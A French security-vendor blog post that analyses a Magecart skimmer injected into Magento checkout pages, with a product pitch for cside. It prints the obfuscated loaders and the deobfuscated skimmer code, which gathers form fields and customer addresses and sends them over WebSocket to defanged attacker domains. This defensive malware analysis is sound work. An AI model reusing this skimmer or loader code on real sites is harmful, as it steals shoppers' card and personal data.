Skip to main content
Blog
Blog Attacks

Nouveau code d'attaque Magecart révélé

Le 14 octobre, nous avons publié un article sur une nouvelle attaque Magecart ciblant Magento. À l'époque, nous n'avions identifié qu'un seul script comme responsable. Aujourd'hui, nous avons pu retrouver et analyser l'attaque plus en détail. L'attaque décodée Voici le code injecté : <script> const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23]; const zep = 42; window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.h

Oct 23, 2024 5 min read
new-magecart-attack-image-cover
Table des matières

En bref : analyse de skimmer obfusqué

  • Aléatoire à dessein : Le script injecté ressemble à un tableau aléatoire de 30 octets et c'est le but, car les vérifications de hash et la revue humaine glissent devant du code assemblé à l'exécution via une arithmétique XOR et une reconstruction par String.fromCharCode.
  • Désobfusqué automatiquement : Le payload ouvre une WebSocket vers wss://gstatlc[.]org/jivo et ne s'active que sur la route onestepcheckout de Magento, et le moteur cside le désobfusque et le déballe automatiquement au lieu d'attendre qu'un chercheur publie une analyse.
  • Vérifiez votre outil : Si votre processus de revue dépend de la lecture des fichiers source à l'œil, les skimmers obfusqués restent invisibles pendant des mois, donc décidez si votre outil désobfusque réellement les payloads ou se contente de les transporter vers le navigateur.

Peu de temps ? Découvrez le blocage de Magecart et de skimmers dans le navigateur par cside. Elle couvre tout ce qui suit en un seul déploiement.

Le 14 octobre, nous avons publié un article sur une nouvelle attaque Magecart ciblant Magento. À l'époque, nous n'avions identifié qu'un seul script comme responsable.

Aujourd'hui, nous avons pu retrouver et analyser l'attaque plus en détail.

L'attaque décodée

Voici le code injecté :

<script>
const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23];
const zep = 42;
window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.href));
window.sss.addEventListener('message', event => {new Function(event.data)()});
</script>

En décodant ce script obfusqué, nous avons découvert qu'il établit une connexion WebSocket vers l'URL suivante : wss://gstatlc[.]org/jivo?source=.

Nous avons alors suspecté que l'attaque visait probablement à du web skimming, c'est-à-dire au vol de données clients telles que les informations de carte bancaire.

Nous avons ensuite trouvé le script suivant :

! function() {
    function e(e) {
        let t = "";
        for (let n = 0; n < e.length; n += 2) {
            let o = e.slice(n, n + 2),
                c = parseInt(o, 16);
            t += String.fromCharCode(c)
        }
        return t
    }
    if (window.location.href.includes(e("6f6e6573746570636865636b6f7574"))) {
        const t = new WebSocket(e("7773733a2f2f61766765617273686f702e6164732d616e616c797369732e6e65743a3434332f7773")),
            n = "x-magento-65dsf";
        t.onmessage = function(t) {
            ! function(t) {
                if (!document.querySelector("#" + n)) {
                    const o = document.createElement("script");
                    o.id = n, o.text = e(t), document.head.appendChild(o)
                }
            }(t.data)
        }
    }
}();

Ce code mène à du code obfusqué que notre plateforme cside désobfusque automatiquement. Nous avons trouvé plusieurs fonctions destinées à capturer des données.

// Function to decode the selectors
    function decodeSelectors() {
        let decoded = hexDecode(encodedSelectors);
        let selectorArray = decoded.split('|');
        return selectorArray;
    }
 // Function to check if specific elements are present on the page
    const checkElementsPresence = () => {
        let selectors = decodeSelectors();
        return selectors.every(selectorEntry => {
            let [selector, count] = selectorEntry.split(':');
            let elements = document.querySelectorAll(selector);
            return elements.length >= Number(count);
        });
    };
  // Function to generate a unique identifier
    const generateUUID = () => {
        return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
            (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
        );
    };
// Function to encode data as hex
    function hexEncode(str) {
        return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
    }
 // Function to collect form data
    const collectFormData = (context) => {
        let data = {};
        let counts = {};
        let inputs = context.querySelectorAll('input, select, textarea');

        for (let i = 0; i < inputs.length; ++i) {
            let element = inputs[i];
            let name = element.name || element.id;
            let value = element.value;

            if (value !== '' && name) {
                if (!counts[name]) counts[name] = 0;

                if (element.tagName !== 'SELECT') {
                    counts[name] === 0
                        ? data[name] = value
                        : data[`${name}#${counts[name]}`] = value;
                } else {
                    let selectedOption = element.options[element.selectedIndex].text;
                    counts[name] === 0
                        ? data[name] = selectedOption
                        : data[`${name}#${counts[name]}`] = selectedOption;
                }

                counts[name]++;
            }
        }

        data['url'] = window.location.hostname;
        data['ua'] = window.navigator.userAgent;
        data['ts'] = Date.now();
 // Attempt to collect customer address data if available
        if (window.checkoutConfig && window.checkoutConfig.customerData && window.checkoutConfig.customerData.addresses) {
            try {
                let addresses = window.checkoutConfig.customerData.addresses;
                data['address_data'] = addresses[Object.keys(addresses)[0]];
            } catch (e) { /* Ignore errors */ }
        }

        return hexEncode(JSON.stringify(data));
    };
  // Interval to repeatedly check and send data
    let intervalId = setInterval(() => {
        if (checkElementsPresence()) {
            let formData = collectFormData(document.body);
            const uuid = generateUUID();
            const webSocketURL = hexDecode(encodedWebSocketURL) + '/' + uuid;
            const ws = new WebSocket(webSocketURL);

            ws.addEventListener('open', function () {
                ws.send(formData);
                ws.close(1000, 'done');
                clearInterval(intervalId);
            });
        }
    }, 1000);
})();

On y trouve un autre domaine malveillant : wss://adsprove[.]online/ws.

L'ensemble de ces fonctions confirme que le script cible bien les différentes saisies des visiteurs sans méfiance. Cela démontre également que la surveillance et le blocage de ces tentatives côté client sont essentiels pour détecter et stopper ces attaques.

Comment protéger votre site

cside a été créé pour mettre fin à ces attaques. Tout script tiers présent sur votre site qui serait compromis peut être détecté et bloqué avant même de s'exécuter dans le navigateur de vos visiteurs. Vous les protégez, ainsi que vous-même, contre les acteurs malveillants.

En utilisant notre offre gratuite, vous êtes protégé contre cette attaque et d'autres similaires.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

Interface du tableau de bord cside affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration

Envie de passer tout ça en revue avec un ingénieur ?

Trente minutes, sur votre propre site. Pas de slides.

Nous vous montrerons :

Quels scripts tiers s'exécutent actuellement sur votre site
Où vous en êtes sur les exigences PCI DSS 6.4.3 et 11.6.1
Quelle part de votre trafic provient de bots et d'agents IA

Vous préférez simplement poser une question ?

Recherche de créneaux…

Humains uniquement. On le saurait.

Un problème pour réserver ? Ouvrir le calendrier dans un nouvel onglet

Quel problème cherchez-vous à résoudre ?

Dites-le-nous en une ligne et nous reviendrons vers vous avec quelque chose d'utile, pas un discours générique.

Nous aidons souvent sur :

Voir quels scripts tiers s'exécutent sur votre site
Les preuves pour PCI DSS 6.4.3 et 11.6.1
Les bots, les agents IA et le vol de comptes

Vous préférez réserver un créneau ? Choisir un créneau